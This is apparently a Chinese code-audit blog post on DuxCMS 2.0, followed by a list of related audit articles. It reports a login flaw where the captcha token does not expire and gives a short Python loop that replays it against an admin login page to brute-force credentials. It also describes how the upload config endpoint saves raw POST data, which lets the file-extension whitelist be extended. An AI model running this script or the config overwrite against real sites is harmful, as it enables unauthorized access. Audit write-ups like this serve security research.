DuxCMS 2.0审计

后台登录页存在用户名密码爆破

用户名不存在会爆不存在，验证码与token绑定不过期

import requests
import time
url = 'http://y4y4.top/s/system/Login/index'data = {
'username': 'adminzzz',
'password': 'zzzaddsadsadsaasd',
'val_code': '8g3d',
'val_token': '09d9218436e9f08a4fc683171df11e20',
'val_time': '1618813312'
}while 1:r = requests.post(url, data=data)print(r.text)time.sleep(1)

后台页面存在文件上传漏洞

在app/system/admin/ConfigAdmin.php中

我们可以看见

public function upload() {$file = 'data/config/use/upload';if (!isPost()) {$config = load_config($file);$this->assign('info', $config['dux.use_upload']);$this->assign('driverList', \dux\Config::get('dux.upload_driver'));$this->assign('imageList', \dux\Config::get('dux.image_driver'));$this->assign('hookMenu', $this->menu());$this->systemDisplay();} else {if (save_config($file, ['dux.use_upload' => $_POST])) {$this->success('上传配置成功！');} else {$this->error('上传配置失败');}}
}

在save_config($file, ['dux.use_upload' => $_POST])发现通过传参可以覆盖data/config/use/upload.php下的配置文件，从而实现文件后缀白名单的添加

[代码审计]DuxCMS 2.0审计相关推荐

代码审计（全文通读审计案例）
骑士 cms 通读审计案例我们已经介绍了代码审计中通读全文代码审计方式的思路,下面我们用案例来说明这种通读方式.为了方便大家理解,笔者找了一款相对简单容易看懂的应用骑士cms来介绍,版本是3.5. ...
代码审计利器-Seay源代码审计系统
Seay压缩文件解压Seay后进行安装一路默认即可下载安装.net相关组件即可正常使用主界面如图 5.2 实验任务二这次还是以dvwa为例左上角新建项目,选择dvwa源码文件夹点击确定后 ...
【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
【代码审计】iCMS_v7.0.7 apps.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
【代码审计】iCMS_v7.0.7 search.admincp.php页面存在SQL注入漏洞
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
【代码审计】iCMS_v7.0.7 keywords.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
Ranger1.2.0审计模块学习
文章目录 Access Admin Login Sessions Plugins Plugin Status User Sync Access 在Ranger中,访问页为所有已将审计设置为On的策略提 ...
asp.net代码审计起始篇之系统搭建
最近开始学习asp.net的代码审计,在开始审计之前除了要对语言有些基本的了解,还需要会在本地搭建demo网站方便调试和复现漏洞准备工作: 操作系统:我用的是win10 数据库:我用的sql ser ...
网络渗透测试实训周笔记3.0
1.代码审计概念代码审计,是对应用程序源代码进行系统性检查的工作.目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险. 代码审计不是 ...
php代码审计备忘录
php代码审计实施要点代码\审计工具工具介绍 seay源代码审计系统免费的,支持5.4一下版本代码审计,不要太依赖自动审计,能发现太少 Fortify SCA 商业化工具,需要破解,需要规则库 ...

[代码审计]DuxCMS 2.0审计

文章目录

DuxCMS 2.0审计

后台登录页存在用户名密码爆破

后台页面存在文件上传漏洞

[代码审计]DuxCMS 2.0审计相关推荐

最新文章

热门文章